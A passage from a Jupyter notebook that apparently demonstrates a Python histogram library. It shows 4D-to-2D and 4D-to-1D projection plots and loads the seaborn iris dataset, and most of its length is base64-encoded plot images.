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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "h4.projection(\"a\", \"d\", name=\"4D -> 2D\").plot(show_values=True, format_value=int, cmap_min=\"min\");" ] }, { "cell_type": "code", "execution_count": 27, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "h4.projection(\"d\", name=\"4D -> 1D\").plot(\"scatter\", errors=True);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Support for pandas DataFrames (without pandas dependency ;-))" ] }, { "cell_type": "code", "execution_count": 31, "metadata": {}, "outputs": [], "source": [ "# Load notorious example data set\n", "import seaborn as sns\n", "iris = sns.load_dataset('iris')" ] }, { "cell_type": "code", "execution_count": 32, "metadata": {}, "outputs": [ { "data": { "image/png": "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